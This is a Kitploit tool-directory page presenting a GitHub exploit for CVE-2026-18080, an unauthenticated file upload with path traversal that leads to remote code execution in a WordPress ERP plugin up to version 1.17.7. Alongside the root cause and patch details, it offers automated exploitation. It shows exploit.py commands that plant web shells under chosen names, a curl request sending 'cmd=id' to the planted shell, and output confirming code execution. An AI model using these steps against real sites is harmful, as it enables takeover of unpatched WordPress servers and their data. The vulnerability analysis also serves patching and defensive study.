Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
By-Poloss..-..CVE-2026-18080 — Exploit for CVE-2026-18080, an unauthenticated arbitrary file upload leading to RCE in ERP Complete HR, Accounting & CRM Suite. Includes Python and PHP scripts for automated exploitation. | Kitploit
Tools/GitHubGitHub/polosss/by-poloss..-..cve-2026-18080
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubpolosss/by-poloss..-..cve-2026-18080

By-Poloss..-..CVE-2026-18080

Exploit for CVE-2026-18080, an unauthenticated arbitrary file upload leading to RCE in ERP Complete HR, Accounting & CRM Suite. Includes Python and PHP scripts for automated exploitation.

View Repository
19h 25m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-18080 — ERP Complete HR, Accounting & CRM Suite <= 1.17.7

Unauthenticated Arbitrary File Upload via CRM Email Connect IMAP Attachment (Path Traversal → RCE)

FieldValue
CVEhttps://nvd.nist.gov/vuln/detail/CVE-2026-18080
Wordfencehttps://www.wordfence.com/threat-intel/vulnerabilities/id/b9d11eb9-5e18-459f-a9d4-cccb1d593402
Patchhttps://plugins.trac.wordpress.org/changeset/3656848/erp
CVSS9.8 (Critical)
CWECWE-434 (Unrestricted Upload of File with Dangerous Type)
AffectedERP plugin versions <= 1.17.7 (fixed in 1.17.8)

Description

The ERP plugin's save_attachments() function in GmailSync.php processes inbound email attachments from IMAP without path normalization. An attacker can craft an email with a filename like ../../plugins/shell.php and a forged References header matching the plugin's expected pattern. The cron-based IMAP sync job writes the file outside the .htaccess-protected crm-attachments/ directory into any writable path under wp-content/.

Root Cause

In GmailSync.php (v1.17.7):

root@kitploit:~
$name = $item['name'];              // No basename() or path normalization
$file = wp_check_filetype( $item['name'] );
// ...
$saved = $wp_filesystem->put_contents( $dir . $name, $item['data'] );

The filename ../../plugins/shell.php concatenated with $dir (wp-content/uploads/crm-attachments/) resolves to wp-content/plugins/shell.php — a directory where PHP execution is allowed.

The fix (v1.17.8) adds sanitize_attachment_filename() which strips directory components via basename(), rejects path separators, and blocks dangerous extensions.

Exploitation

Method 1: Direct (wp-cli)

root@kitploit:~
python3 exploit.py -t https://wordpress.ddev.site

Method 2: Custom path and shell name

root@kitploit:~
python3 exploit.py -t https://target.com --shell evil.php --path themes

Method 3: phpinfo probe

root@kitploit:~
python3 exploit.py -t https://target.com --phpinfo

After successful upload:

root@kitploit:~
curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'

Proof of Concept

root@kitploit:~
RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)

Files

FileDescription
exploit.pyPython exploit script using wp-cli
exploit.phpStandalone PHP exploit for wp eval-file
README.mdThis file
Download Tool